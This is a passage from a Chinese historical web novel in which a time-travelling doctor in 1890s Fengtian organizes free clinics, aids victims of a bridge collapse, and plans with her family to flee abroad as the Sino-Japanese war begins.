温一茂抱着比他眼睛还高的两箱脉案,哼哧哼哧绕过郭朝宗下来,“那不是有人挡路吗?” 霍骁北缓缓收回视线,神色冷下来。 不是他的错觉,郭朝宗总是有意无意地盯着温苒发呆。 从温一茂手里接过箱子,霍骁北拿出笔墨纸砚摆在温苒面前。 说来温苒也有很长时间没写过毛笔字了,她拿起毛笔蘸好墨,提气落笔,一气呵成几张大字。 字迹飘逸灵动,还行吧,没有丑到丢脸的地步。 温苒正欣赏着自己的大字,就听身侧温一茂语气憨厚:“小妹你啥时候会写大字了?” 温苒:“……” 霍骁北替她解释:“最近练的。” 不等温一茂回应,霍骁北很快又说:“麻烦二哥去叫镖局的兄弟们过来,记得带上开张时用的铜锣大鼓。” 温一茂放下东西,“哎,我马上去!” 他一走,温苒就长出一口气,可吓死人了。 镖局兄弟们过来,温苒把大字分发给他们,让他们结队给各个医馆送去,骑上马敲着锣阵仗越大越好。 一旁郭朝宗眼睛都看直了,郭晨拍了拍他的肩膀,语重心长道:“少爷,虽然咱们当了一段时间土匪,但你不能真把自己当土匪了,你现在遇事就喊打打杀杀,都懒得动脑子了。” 郭朝宗看着热热闹闹去送字的兄弟们,抬手抹了把脸,神情复杂地低声喃喃:“我算是看明白了,这两口子都不是啥好人。” 郭晨:“……” 行,这是一点没听进去。 随着送字的队伍散入奉天城的大街小巷,热闹的锣鼓声打破清晨的宁静。 董文斌叩响回春堂的大门,小伙计腿脚麻利地到门口来,一看这几位人高马大脸色正常就不像病人,再一瞅手里不是拿着锤就是拎着锣,这是干啥来了?送感谢也没看到有匾啊? 董文斌拱手抱拳,“劳烦小友禀告你师父,我代仁心医馆的温神医前来送字。” 他微笑着,掌心托起一卷纸轴,反手向下手臂轻轻一抖,一张‘医者仁心’的大字就舒展开来。 敲锣声一路吸引了许多百姓,此时聚集在回春堂前的街道上。 董文斌转身,将大字同样展示给围观群众,“诸位,今日是仁心医馆温大夫举办义诊的日子,听闻咱们奉天城里的大夫们皆是医者仁心,便请我等前来做邀,日后每月的月底会轮流在各医馆门口举行义诊!” 董文斌高声道:“温神医医术高明慈悲为怀,奉天城的大夫们医者仁心,咱们老百姓有福了!” “温神医大义!” “温神医是个大好人啊!” 底下群众们赞扬声不断。 医馆打杂的小伙计叫这阵势吓得,屁滚尿流地去找老大夫了。 前头动静那么大,老大夫早就知晓发生了什么,气得脸色铁青胡子发颤,“医者仁心!医者仁心!她一个小小女子倒是好手段!” 徒弟忧心忡忡,“那咱去吗?” 去了多膈应人啊? 号召奉天城的大夫每月举办义诊,这样意义非凡的大事好事大好事,竟是要由她温苒区区一介女子牵头? 简直岂有此理?! 老大夫一个激动拽掉缕胡子,抖着手用力点着仁心医馆的方向,吼中气十足地大吼:“去!为何不去?我行医数十年,治好的病人比她吃的盐还多,她凭甚说老头子没有仁心医德?!” 徒弟诺诺不敢言,得,瞧这老头是气大发了。 得到应许后,董文斌风风火火地朝着下一家医馆前去。 仁心医馆的门口已经围了不少百姓。 瞧见那一字排开的医案,众人不禁猜测,难道是有其他大夫也来义诊? “温大夫,听说您要请别家医馆的大夫们一起来给咱免费治病?不是我多嘴,您请不来!” 说话的男子抄着两手,佝偻着腰撇嘴摇头,一副惋惜同情的神色。 旁边有声音附和:“温大夫您就是心地太善良了,以为这所有人都跟您一样好心,不嫌脏不嫌累地愿意给我们这些泥腿子治病。” “不是我说他们敢来我还不敢叫他们治呢,嗨你们是不知道,我爹上了年纪以后腿脚不好,一到阴天雨天就不舒服,前头几年我都跟杏林医馆买膏药贴,好家伙一贴五十文管两天,一个冬天就得花出去四个银元,我爹的病还越来越严重!” “嚯!这不是庸医吗?” “谁说不是呢?这不上一年我带我爹来温大夫这边瞧了瞧,一月扎一次针,平时贴膏药,那药贴才八文一贴,今年还没出正月呢就能出来走动了。” 众人听了,那夸奖的话就跟不要钱似的朝着温苒涌过来。 恩将仇报的终于是少数,许多人都切身从温苒那里得到了实惠,即便做不到回馈什么,也不会对她恶语相向。 对最近这阵子外头传的闲话,众人都在心里嗤之以鼻。 那些人都说啥屁话呢?没有温大夫抛头露面他们上哪儿再找不花钱就能治好病的医馆去? “温大夫,您可别听那些烂心肝子的人胡咧咧,您这是悬壶济世,您是有大本事大功德的人!” 大家纷纷出言安慰,唯恐温苒会因为那些话起了关掉医馆的心思。 就在这种病患无比和谐的场面中,今天的主人公们来了。 回春堂、济世堂、慈和馆…… 奉天城里其他医馆的大夫们竟然出现了?竟然都来了? 场上 热闹的交谈声戛然而止,所有人都瞪圆了眼珠子,看那几位大夫上前和温苒寒暄。 回春堂的老大夫几乎是咬着牙挤出话来:“久闻温神医盛名,温神医年纪轻轻就有如此医术,还心怀大慈悲,实在让老朽等人汗颜!” 温苒这一招看似平平无奇,她送字给诸位大夫是在递台阶,然而来不来却由不得这些人选择。 不来,好,这医者仁心的大字董文斌就会收回来。 ——譬如济世堂的老大夫,就没有妙手堂的老大夫沉得住气,看到大字后直接抡起大扫帚赶人。 然后董文斌带着大字转身就走,走就走,他还故意嚎着嗓门说济世堂不参加义诊,这给老大夫气的。 反之来了,就意味着答应参加每月的义诊,意味着认同了温苒的地位,意味着他们‘接纳’了温苒。 或者说,是他们主动加入了温苒牵头组织的奉天医馆的团体。 也无怪乎所有到场的大夫来是来了,脸色都不大好。 谁让他们是被逼的? 所幸这些大夫没有把情绪带到看诊中,甚至还因为想压温苒一头在潜在客户们跟前出出风头,一个个都把看家本事拿了出来。 义诊过于受欢迎,为此温苒还将日期延长了两天。 这几天里,附近几条街上的人流量异常火爆。 饭馆趁机推出快餐盒饭狠赚了一笔,镖局被温苒出钱雇佣维护秩序,所有人的钱包都鼓了起来。 忙完了义诊,温苒连轴转去给有钱的大客户们看诊。 荣秀留下温苒说话,“你组织奉天的医馆举办义诊的事我也听说了,我还打算去看看呢,但父亲母亲说你们那里人太多,我便是去了也见不到你的面。” 她由衷地赞叹:“温苒,你可真厉害!” 温苒摇头,“厉害的是大家一起齐心协力,只有我一个人的时候可没有这么热闹。” 再说这种事情热闹是热闹,充实是充实,但也是真累。 温苒积攒了一堆的病例脉案还没看呢,而且接下来她打算去拜访奉天城其他医馆的大夫,某些大夫的绝活她可是很感兴趣的。 说了她那么多坏话,她拿点儿东西不过分吧? 每月的义诊轮流在各家医馆举办,虽比不上第一次时的大场面,但也次次都很热闹。 进到年根底下时,本该在慈和馆举办的义诊却因为其单方面退出而宣布延迟。 却在原定的义诊当天,慈和馆宣布举办神医大赛。 温苒拿着一份报纸,皱着眉小声读出声:“慈和馆将于十二月二十六于东都大烟馆西街口举办神医大赛,专治疑难杂症,欢迎诸位赏光。” 真新鲜,在大烟馆旁边办神医大赛。 怎么?是刚治好就不想活了吗? 第49章 第49章1889从闯关东开始1…… 慈和馆举办神医大赛的新闻登报后,一时间许多医馆都派人来仁心医馆询问,咱们这个月的义诊还要不要办? 当然要办! 做事情要有始有终,这一年最后一次义诊必须要安稳落地。 为期三天的义诊比以往冷清不少,怎么说这个活动办了一年,整个奉天城再多的病人也禁不住这么治下去。 再者神医大赛到底是个新鲜玩意,据说慈和馆还免费给围观群众发放药丸膏贴。 “不止呢!” 回村的骡车上,周凯手舞足蹈地讲述着他看到的热闹,“听说报名的病人全程治疗不收钱,药费也不收,报名的大夫每治好一个病人都能得一枚银元!” 虽说这个大赛就在街口举办,但温苒忙着整理病历脉案,真是不怎么了解。 “治好一个病人发一块银元,慈和馆这么大方?” 温苒依稀记得,这个医馆的老大夫的儿子是赌场常客,是以这家医馆的费用在奉天城里是最高的。 不过慈和医馆的客户群体是富贵人家的男子,主打产品是壮阳药,祖传的手艺就是治男科病,所以才供养得起一个赌鬼。 在奉天过的第二个新年,这一年饭馆和医馆生意红火,地里的庄稼大丰收,所有人脸上都喜气洋洋的。 光绪十七年,1891年平稳到来。 开年的第一次义诊,有两家医馆没到场。 第二次义诊,又少了一家。 等到端午节前的义诊,只剩下仁心医馆、妙手堂、回春堂和仁春馆四家。 傻子也晓得这里头有事。 回春堂的老大夫慢悠悠捋着胡子,“温娘子你应当不晓得,慈和馆的老东西派人来请我们去神医大赛坐镇,我们都没答应。” 脾气暴躁的妙手堂老大夫开口就骂:“狗屁大赛,沽名钓誉哗众取宠!有那闲工夫不如老老实实坐下来治几个病人攒攒功德,否则下辈子还得贪上个好赌的败家子儿!” 温苒笑盈盈道:“我自是明白三位师父品德高尚不慕名利仁心在怀重情重义。” 三个老头子瞪着眼珠子一脸惊恐,“你这丫头你好好说话!” 温苒:“……” 总之,三位都是大好人。 不晓得奉天城吹了哪股怪风,自义诊和神医大赛后,又有几间医馆联合教堂定期免费为儿童医治。 说来都是免费,但和温苒牵头的义诊有着本质上的区别。 看诊都是免费,可后续买药的钱就不是那么回事儿了。 温苒的仁心医馆药价最便宜,整个奉天城没有比这里更便宜更管用的,但这只是一家小小的医馆,产能严重不足。 其次是还在参加义诊的另外三家医馆,也和温苒一样琢磨起了价格更便宜的药方,四家时常互通有无。 而其他家医馆虽比先前略有降价,但对普通老百姓来说依旧难以负担。 种种因素对比下,还是每个月的义诊热度最高。 光绪十六年时,朝廷兴办铁路,预备在两京之间修建铁路便于连通。 铁路的修建为奉天城提供了大量工作岗位。 七月底,一场大桥坍塌事故让轰轰烈烈的修路行动不得不暂停下来。 数百名修路工人被坍塌的大桥压在下面,奉天官府安排官兵救援,并征召全城大夫前去现场救人。 温苒自然当仁不让地名列其中,她拎上药箱,带着三个助手,在霍骁北的陪同下到达官府,和三位老友汇合后,由官兵带领前往坍塌现场。 妙手堂老大夫坐在自家马车上,徒弟徒孙们随行,他忧心忡忡:“听说已经埋了一宿,大桥的中段全部断裂,里面的工人能不能活下来都两说。” 回春堂老大夫叹气,“咱们这么多大夫呢,我把我徒弟们都带过来了,能救一个是一个。” 官兵正在试图清理出一条直达桥底的通道,期间遇到的病人都搬出来挪到空地上。 温苒和大夫们下了车,一看这情况眉头皱得死死的。 又有一队官兵送来病人,温苒上前查看,“没救了。” 她转头厉声道:“若是发现时就被压在石头下,人和石头都不可挪动,你们上官没有叮嘱过吗?” 坍塌事故毫无疑问会造成重压伤,这种伤势最忌盲目挪动。 另外三位老大夫跟上来,异口同声呵斥:“简直胡闹!” 官兵们忙了一宿没合眼,好心救个人还被劈头盖脸一顿训,丢下人当即抽出刀来怒道:“什么人也敢在这里闹事?阻挠官府办事当心我一刀砍了你们!” 官兵举起刀就往前砍,结果一下、两下……胳膊根本动不了。 他脸上胀红,愤怒地抬起头,“你给老子松手!” 霍骁北捏着他手臂,面无表情道:“她们是巡抚大人请来的大夫,阻挠巡抚大人办事,当心你一家老小的脑袋。” 一听是巡抚大人的人,盛怒的官兵仿佛兜头被浇下一桶凉水,赶忙道歉认错,带温苒她们去桥下救人。 温苒先给大家分成四个人一组,一人抓药一人熬药两人救治,若有拿不准的就来喊她和三位老大夫。 这场救援持续了足足五天,许多工人后续被发现 时已经没有了气息,尸体在高温下发热发臭。 这些工人几乎全是闯关东的青壮男子,在奉天城无家无口,许多人死后连姓名都无法被人知晓,官府的抚恤金也无处发放。 忙活了大半个月,温苒终于有时间歇一歇,瘫在饭馆柜台后面,看霍骁北记单记账。 饭馆的客人们聊的都是奉天城最时新最热门的话题,而当下最热最新的自然离不开大桥坍塌事故。 “上次修桥是包给了美国人,结果你瞧死了这么多工人,我听说盛京将军已经上了奏折给老佛爷,打算把接下来的铁路挪给倭国人修建。” 温苒捧着热乎乎的茶水抿了一口,真是哪里都有倭国人。 那什么慈和馆办的神医大赛,别以为她不晓得,其实背后出钱的就是东都烟馆的倭国人。 抽完大烟接着吃壮阳药,还有倭国的艺妓助兴,真是嫌活得太长了。 后续温苒从荣秀那里听说,朝廷最后答应把奉天路段的铁路外包给倭国人,但紧接着大桥动工没多久就又塌了。 所幸这次受伤的工人不多。 光绪十八年,1892年,慈和医馆的神医大赛停办。 四家医馆私下办的医术交流会上—— 妙手堂的老大夫长叹一声,似是在惋惜,“他那个儿子没救了,光赌钱不算还染上了大烟,背着他爹偷了慈和医馆的地契和祖上的医书药方。” 回春堂的老大夫骂道:“要是我儿子我早叫他去地底下跪祖宗了!” 仁春馆的老大夫摇着头,“昨儿我去瞧了瞧,出气多进气少他也就这几天了。我去的时候正好撞见他家儿子,他儿子犯了大烟瘾,拽着他女儿就往烟馆跑,我也是不落忍,舍了他家几个大钱。” 回春堂老大夫冷哼,“你傻好人,当心那家子讹上你!” 温苒沉默地听着,手指敲着桌面皱起了眉。 “慈和馆的医书和药方,莫非是卖给了倭国人?” 仁春馆的老大夫点头,“是这样,卖给了东都烟馆。” 温苒有种不太好的预感。 果然没多久就应验了。 转年城里陆续又有几家医馆遇到麻烦,不是治死病人就是家里人染上大烟,亦或是徒弟们另起炉灶争牌匾,总之各有问题。 这一年荣秀的大哥成亲,荣秀也在父母的安排下和相看好的男子定亲。 据说对方是江浙人士,家族在南方很有权势,预备近两年去国外留学,对方家里想让荣秀尽快嫁过去。 再来巡抚府,荣秀一脸不舍,“年后父亲就动身前往南方就任湖广总督,我与母亲也要一同离开。温苒,我恐怕再也见不到你了。” 光绪二十年,郑巡抚一家离开了奉天。 朝中有人好办事,靠山在的时候一切顺利觉不出什么,靠山一走麻烦就找了上来。 郭朝宗的镖局最先被发难。 有人报官,称郭朝宗就是最近几年销声匿迹的马贼黑老鸹。 得亏霍骁北有先见之明,这几年靠着郑巡抚的关系在官府里结交了不少人脉。 这次有人通风报信,郭朝宗才能带着兄弟们全身而退。 紧接着就是霍骁北的饭馆,不晓得那些旗人们错了哪根筋,结伴组团来饭馆白吃白喝,吃完喝完嘴一抹,撂下句‘记账’就大摇大摆昂首阔步地离开。 医馆暂时没出大问题,毕竟像温苒这样医术高超的好大夫难找,且她还有个好名声。 但也有几家大户人家不再喊温苒过去把脉。 镖局关门倒闭,饭馆难以为继,医馆丢了大客户。 流年不利啊这是! 温苒掐指一算,然后惊了。 光绪二十年,按照天干地支来算是甲午年,也就是公元1994年! 坏了坏了! 这几年醉心医术,身边人讲起来也都是说年号加年份,竟然忘了这么重要的事情! 温苒在饭馆大堂找到霍骁北,强自镇定道:“咱们该走了!” 她急慌慌过来,让客人以为发生了什么,都把眼睛转过去盯着夫妻俩。 霍骁北安抚地握上她的手,“我们回房间说。” 两人离开大堂,进了后院属于两人的房间。 关门上锁,霍骁北带温苒坐到炕沿上,他站在她身前握着她的肩膀弯下腰同她平视,“离家几年,我们也该回去看看了。” 温苒飞快点头,“我们得快点走,不然就走不了了。” 一旦战争爆发,且交战失利的情况下,清廷一定会封锁出关道路,并在奉天大肆征兵。 霍骁北行动迅速,半个月的时间关掉饭馆,并把院子转手。 是亏是赚他和温苒也不在乎,系统背包里那么多物资,饭馆几乎做的是无本的买卖。 医馆需要处理的事情繁杂,暂时则没办法出手。 两人抽空回了趟村子,把离开奉天的想法告诉大家。 这么些年过去,当初逃难的一行人在奉天都攒下不少家底,再回老家算是衣锦还乡,这可是大喜事。 按理说应该没人会拒绝,但宋守言坚决不答应。 “我就是死,也不会再回林庄儿村!” “当初好不容易才离开那里,还回去做什么?” “那一村子人都不是啥好东西,你穷人家笑你穷,你有钱了人家也不会奉承你只会盯着你兜里使算计呢!” “还有骁北,骁北在出来前可是地主家的长工,签了契的!他一走这么多年不见人影,你看等他露面以后他爹饶不饶得了他?地主老爷饶不饶得了他?” 一番话疾言厉色,给温老汉说沉默了,给所有人也说沉默了。 温苒心思活络起来,“要不,我们去上海吧?” 她看看这个,看看那个,企图和大家眼神接触。 温老汉抿了抿嘴,蹭蹭背过身去,用实际行动表示拒绝。 温苒:“……” 温苒没好气道:“那反正奉天是待不下去了,不回老家也得去别的地方。你们是不晓得旗人老爷们天天来饭馆白吃白喝才几个月就赔了不少钱,还有我的医馆也快开不下去了。” 温老汉闷声闷气,“那要不回村种地吧,正好把铺子卖了买田。” 温苒:“……” 这老头儿真是油盐不进。 饭馆关张以后,林长福父子和温一荣兄弟三个在城里没有落脚的地方,不得不回村子。 村子里郭朝宗没有重拾旧业干他土匪的老本行,而是解散了兄弟,在村里游手好闲吃老本,每天带着郭晨和董文斌来温家蹭吃蹭喝。 温苒和霍骁北还要回城处理医馆的事情,离开前,郭朝宗神神秘秘凑上来,“最近这阵子有倭国人来咱们村打探消息。” 温苒狐疑,“难道他们看中了咱们村子,想买下来建厂?” 说来,倭国人早就向郑巡抚承诺办厂,这都几年了工厂没见办一座,倒是大烟馆和妓院开了一间又一间。 郭朝宗摇头,“这我就不清楚了。” 他抄手弓背,一副朴实憨厚的老百姓架势,“对了,咱啥时候去上海,记得带上我们三个。” 这次回城只有温苒和霍骁北两个人。 骡车哒哒行驶在路上,温苒回想着郭朝宗的话,心情阴云密布。 进城后,温苒加快速度,把病人移交给另外三个医馆,并宣布不再接诊。 医馆关张还是引起了一场不小的风波,许多经她手治好的病人都陆续过来道别,表达不舍。 霍骁北对外表示,她们离乡几年决定回老家,对此大家也不好再挽留。 温苒像有根弦绷在脑子里,直到医馆的铺子正式出手,这根弦才松下来。 周三娘三人自然选择跟着温苒不动摇,收拾好为数不多的行李就上了回村的骡 车。 出了城门,温苒心中压着的大石头终于搬开。 霍骁北赶车,温苒靠在他肩膀上,小声同他絮叨。 “这次说什么也要说服爷爷答应去上海,爷爷交给我攻克,其他人都交给你。” 霍骁北:“这次最好一步到位。” 不能再像奉天这里一样,回头到上海定居,没几年又跟他们讲要去国外,别人不提温老汉是指定不会同意的。 不论上海还是奉天,至少都是自己国家的地盘,有相似的文化背景,语言也相同,而去国外可就是彻彻底底的两个世界了。 温苒心烦意乱,胡乱揪着他的衣角,“可我还没想好到国外以后怎么安定下来。” 她连自己都说服不了,更不要讲说服其他人。 温苒小声嘟囔:“而且我们攒的钱也不够买小岛,或者我们不去美国和澳洲,去南美,那边虽然乱但有些地区还是华人更多。” 霍骁北捏了捏她的脸颊,“去哪里现在还不重要,说服他们才是大问题。” 温苒:“……” 车子经过土坑一阵颠簸,温苒没稳住,直直撞上霍骁北的胸口,给她撞得眼冒金星。 “气死了!在自己的地盘都被洋人欺负得那么惨,到了他们的地盘还不知道会成什么样子!” 温苒抱怨的话不停,霍骁北含笑听着,“洋人的地盘洋人才有人权。” 听到这话,温苒忽然神情顿住,缓缓歪了歪脑袋,双眼渐渐亮起。 她一手握拳锤向掌心,“对啊!我怎么就没想到呢?” 温苒蹭一下扭头,目光灼灼地盯着霍骁北。 霍骁北正色,“我脸上有东西?” 温苒眨巴眨巴眼睛,凑上去吧唧亲了他一口。 霍骁北:“……” 温苒抓着他胳膊晃了晃,嗓音又软又甜,“霍骁北~” 霍骁北:“你好好说话。” 温苒两只胳膊扒着他脖子,够到他耳旁,小声一顿叭叭她的天才想法。 五月里的傍晚,残阳如血。 温苒说完,期待地望着霍骁北。 霍骁北没说不,也没说答应,“我觉得郭朝宗更合适。” 温苒眨眼,“郭朝宗和郭晨都在美国留过学,万一有人认出他们来怎么办?” 是的,这俩人原先还去国外留过学,排华法案之后才回国。 霍骁北沉默片刻,“我考虑考虑。” 温苒大眼睛盯着他半天,吧唧又是一口亲上去,“那你好好考虑哦。” 霍骁北:“……” 骡车出城后速度加快,奉天城外大片荒郊野岭,也许不知何时就蹦出来一只野狍子。 路边的草丛一阵晃动,温苒正奇怪这次是什么动物时,身旁霍骁北突然身体紧绷,“都抓紧车架!” 他一手抓紧车子,低头叮嘱温苒:“抱紧了。” 接着他扬鞭抽向骡子,系统出品的骡车这时显现出它的与众不同来,骡子扬起前蹄开始撒丫子狂奔,像阵风一样在车道上掠过。 温苒抱着霍骁北的腰身,紧紧缩在他怀里,一边不忘关心好姐妹,“三娘——小菊——香梅——都抓紧了!不要怕!” 狂风送来了三娘的回信:“我们不怕!” 跟着温苒这些年她们姐几个什么大风大浪没见过,这点小场面才不放在眼里。 就连胆子最小的钱小菊,这么多年历练下来也一身的腱子肉,拳脚功夫摆出来不但唬人还能揍人。 于是埋伏在此的一众土匪,冲出草丛后只看到一道黑影掠过,然后吃了一嘴的尘土。 领头的发话:“上马!追!” 然而他们骑着寻常的马,却要去追根本不寻常的骡子,结果自然是追不上的。 骡车换了小道,直接绕到村尾。 这时节一家子老小都在田里忙活,瞅见自家的骡车仓皇路过,一个个都扛着锄头铁锹飞快跟上去。 温老汉:“这是咋了?是不是半路遇到土匪了?” 温苒脑袋还晕着,语无伦次回道:“刀、追、有人快去……” 霍骁北替她翻译,“有土匪拦路,还在后面追,都去拿刀。” 大家撒丫子就往家里跑,温一荣抱来大刀,也一并喊来郭朝宗三个。 郭朝宗随口关心道:“到底怎么回事儿?不会是倭国人搞得鬼吧?” 温苒晕成浆糊的脑子瞬间清明过来,“很有可能啊!” 之前不就有医馆着了这帮倭国人的道吗? 不过那些手段都比较低级,就可着黄赌毒算计人。 温苒这边早先就叮嘱过这三样不能沾,镖局人多具体情况不清楚,至少和温苒亲近的人都令行禁止。 大概就因为如此对方才会束手无策另辟蹊径。 难不成先前镖局和饭馆背后就是倭国人搞的鬼? 而医馆对方还没来得及出手,温苒就自己以迅雷之速解决了。 这不,才出此下策让土匪劫路? 当然也有可能是温苒想多了,不过在这件事上在当前这个情况下,她认为多想是非常合适的。 这就是现成的说服爷爷的理由啊! 再不走咱们都要着倭国人的算计了! 二十来人手持大刀,仿佛又找回了先前逃难路上的气势,并一致决定反攻。 于是等土匪骑着马哼哧哼哧追上来,还没进村呢就给绳子绊下了马,还没来得及出声呢,就彻底出不了声了。 缴获的大刀和马匹都搁进了空房子里,众人洗洗漱漱一番,捧着饭碗挤到一个房间里边吃边说。 温苒把自己的想法告诉了霍骁北,这次主要由他发挥。 霍骁北先给这次土匪劫路定了性,“是倭国人派来的,想杀了我们抢医书和药方。” 叮叮两声,温老三两口子手里的筷子砸进饭碗。 陈六娘一把抱住女儿,红着眼眶看向温老汉,“爹!您就答应小苒吧,咱在这边待不下去了,再不走命都要没了啊!” 温苒:“?!” 她娘,给力! 仿佛又回到了当初为沙麻金那窝土匪所逼而不得不远走他乡的时候,众人胸中都憋着一团火气,怎么想安安生生过日子就这么难啊? 温老汉挺直的腰背缓缓佝偻下来,“唉!走吧!” 第50章 第50章1889从闯关东开始2…… 温老汉答应了离开奉天,但是接下来去哪里又成了问题。 宋守言叼着烟斗,“我看上海就不错。” 林长福小声道:“郑大人现在是湖广总督,要不咱去那边?” 温苒欲言又止止言又欲,但又唯恐她说出来会吓到大家。 好吧,是一定会吓到。 霍骁北说得对,这件事不能拖,就得速战速决。 就在温苒考虑该如何说服大家答应去国外时,温老汉病了。 他这身体本来就不怎么好,幸而这几年吃得好过得舒心,又有温苒帮他调养才稍稍补回了点,不然这次的病真是算得上凶险。 温老汉这是心病,好得反反复复,人也迅速消瘦下来。 华国老百姓千百年来追求的就是个安居乐业,可现在好不容在奉天安定了几年,转眼城里的营生就被逼关张,乡下乡下也不安定土匪都嚣张地杀上门来了,这叫什么世道啊? 这种情况下,大家都有致一同地不再提起离开奉天的事情。 过了六月,进入七月,战争爆发。 这下子是想走也走不掉了。 随着清廷战争失利,倭国侵入半岛,一场又一场交战都以失败告终,征兵的告示也下发到了许州村。 温老汉奇迹般地恢复过来,面色红润神采奕奕,“老大,带上你兄弟和一荣一茂他们,你们进山!” 他老头子不懂什么家国大义,他只知道灾荒的时候朝廷任他们自生自灭,土匪来了官府也不作为,他们老百姓都吃不上饭了皇帝大婚还要把他们扒皮抽筋剁骨吸髓地去讲究排场! 便是他们老百姓都苦到这个地步了,在自己的地盘上却还要被洋人欺压! 凭什么? 凭什么?! 听闻前线战场上老百姓拼死拼活杀敌,享受供奉脑满肠肥的一个个官员将领却不等 洋人打过来就丢盔弃甲仓皇逃窜。 这样的朝廷这样的情况,让他怎么能愿意把儿子孙子送上战场?那是叫他们去送死! 宋守言神情沉郁,“不!咱们都进山!等躲过这阵风头就立马去上海!” 奉天城周遭的兵力多半被抽调到前线,这附近土匪可不老少,万一趁官府驻防空虚大肆劫掠可就糟了! 这事得通知一下村子里的人,让他们也做好准备。 接下来整个村子开始了陆陆续续的搬家,因为不晓得要在山上待多久,就几乎把家当都收拾上了。 温苒时常进山采药,霍骁北为了过夜方便,就在山里盖了间屋子,这时恰好能派上用场。 夜里大家围着火炉吃涮肉,每个人心里都沉甸甸的。 唉! 也不知道这种日子什么时候是个头? 在山上待了半个月,温苒琢磨着是时候漏点风声了。 她和霍骁北堵上郭朝宗和郭晨,带到小屋外头的树林子里,开门见山道:“国内要乱了,我们想去国外。” 郭朝宗:“???” 怎么每个字他都听得很清楚,但连在一起就不懂了呢? 郭朝宗眼神茫然,“你说啥?” 郭晨用同样茫然的语气回答他:“他们想出国。” 郭朝宗听懂了,但他实在不知道该做什么反应,就还是那副茫然的表情,“出国干啥?留学?你们手里的钱够吗?” 温苒拍拍屁股坐在树墩子上,“不是留学,我想带大家去国外定居。” 郭朝宗:“?!!” 什么玩意儿? 郭朝宗想也不想就摇头,“不可能,国内乱国外也不太平。我和郭晨学业未成就选择回国,就是因为美国带头通过了排华法案,在我们回国前加州的华人街区被来自北欧的移民洋工放火屠杀,据说死了一百多人。” 这些怀着淘金抱负的华工们,就永远留在了那片土地上。 华人在国外没有人权,这真不是说说而已。 “如果我们中间有一个人洋人带领呢?” 温苒语出惊人。 郭朝宗左看看右看看,发出嘲讽的笑声:“哪个洋人?我眼瞎了我怎么什么都没看到?” 郭晨扶额,少爷这贱兮兮的样子,真不怪温娘子对他态度不好,太欠了简直! 温苒扭着身体找到石头,捡起来朝郭朝宗丢过去,“反正不是你!” 郭朝宗屁股往旁边一顶躲开石头,呲哇乱叫着蹦到霍骁北身后,“你快管管你娘子!我说个大实话罢了,她器量也忒小,还拿石头丢我!” 霍骁北没回头,伸手把他从后面拽出来,“我器量也不宽。” 闹了一番,接着说正事。 郭晨宗两手抄着袖子蹲到树底下,离得温苒远远的。 “上海就不错,那里租界多,租界里治安很好,我在那边也有认识的同学。咱们手头有钱,到了上海把你们俩的饭馆医馆重新张罗起来,日子怎么也不会太差。” 想象很美好,问题是温苒和霍骁北不能留下来,系统要她们两个必须出国。 见温苒闷闷不乐的样子,郭朝宗又道:“国外听着是比咱这边发达,实际也就那样,他们才起来几年啊,礼义廉耻都没有,底层老百姓照样过得不人不鬼的,真不如咱们自己的地盘待着舒坦。” 温苒双手托腮,抬眸虚虚瞥了他一眼,“可我想去。” 郭朝宗:“……” 郭朝宗拍拍屁股站起来,“那我跟你相公商量商量,尽快想个办法。” 郭晨疯狂给自家少爷使眼色,快看霍相公的表情都黑成啥样了? 你说你一个外男,人温娘子一句想去你之前抗拒成啥样了转头就眼巴巴要想办法,你那点儿小心思瞒得过谁你说你? 霍骁北嗓音发寒,“附近有种蘑菇味道不错,晚上炖鸡汤喝,郭朝宗你跟我过去采。” 郭朝宗毫无所觉,抄着手就跟了上去,“走走走,正好跟你商量商量。” 郭晨:“……” 他目送自家少爷,眼底是深深的同情。 没多久,不远处传来凄惨的哀叫声。 温苒憋着笑看向郭晨,“你大哥又做什么招惹霍骁北了?” 郭晨神情复杂,霍相公每次都对少爷留情,估计也是因为温娘子如此迟钝吧。 晚上吃小鸡炖蘑菇贴饼子,郭朝宗顶着青肿的脸呼噜噜炫了三大盆。 吃过晚饭,出国小组准备外出商量计划,温苒一并喊上大哥二哥小弟和三个好姐妹。 哦,顺便拽上了林粟,不然搞得像排挤他一样。 夜里黑漆漆的大山中,一群人或蹲或坐围在一起。 小屋里头只剩下了年纪大的长辈们,温老汉频频瞥向门口,小声嘀咕:“小苒这是又想闹啥动静呢?” 宋守言甩出一张扑克牌,提醒:“该你了。” 他往后靠在棉被上,“孩子们自个的事,商量好了自然会说出来,你这么大年纪还是好好琢磨琢磨怎么多活几年吧。” 温老汉:“……” 臭小子说话真不中听! 他愤愤地甩出一沓扑克,看我把你杀得片甲不留! 小树林里。 温苒打开台灯放到人群中央,“我打算带大家出国,去国外,美国。” 裹毯子的、挪位置的、抢东西的、嘎嘣吃花生的都愣住了。 周凯已经从半大少年长成了壮硕的年轻汉子,声音也变得粗哑低沉,“三姐你先前不还说要去上海吗?上海哪里不好,你又改主意了?” 据他所知,五年前从林庄儿村逃难时,三姐就想去上海,可惜拗不过老爷子,才转向关外在奉天落脚。 温苒裹着厚厚的毛毯靠在霍骁北身上,只露出一双眼睛来,传出来的声音闷闷的:“我认真思考过,国内很快要乱了,内有改朝换代外有洋人入侵,史书出现过一次类似的时代。” 很少看书的一脸茫然,出现过啥啊? 通读史书的愣了,你别说,这么一讲真的挺像! 闲着没事就看书的温一荣皱起眉,“除非乱到眼前,打仗打到了门口,否则爷爷是不会同意的。” 还是那句话,从直隶到奉天,再从奉天到上海,这好歹是在自己国家的地盘转悠,出国还是出国定居对老百姓来说无异于改天换地。 比起出国,即便国内再乱,温老汉恐怕死也愿意死在自己国家的地盘上。 温苒眼巴巴看着大哥,“这不就需要大家一起努力了吗?” “大哥你负责说服大伯大伯娘,二哥你负责二伯二伯娘,小凯你和宋叔负责爷爷。” “三娘,香梅,还有小菊,你们呢?” 她望着好姐妹。 周三娘沉稳地点了点头,“我们说好的,不管到哪里都一起去。” 温苒最后看向林粟,林粟主动说道:“我回去就告诉我爹。” 安排好第一个任务,温苒接着发第二个任务,“出国肯定要学人家的语言,至少常用的几千句要说得清楚还能听明白。” 可惜了,早知道把系统背包里的收录机拿出来。 这天之后,温老汉就发现身边的人都神神秘秘的。 老大一家有事瞒着他,老二老三也瞒着他,就连一向不管有个啥事都和他通气的小宋也装起了傻。 温苒在院里整理草药晾晒,一转身就见老头儿虎着脸盯着自己。 她沉默两秒,假装没看到就要溜。 刚迈出一步,就听老头儿大喝一声:“站住!” 登时院里院外屋里屋外的人都探头看过来,霍骁北放下东西走到温苒身边,“爷爷,有话好好说,我娘子胆小,你这么大声会吓到她。” 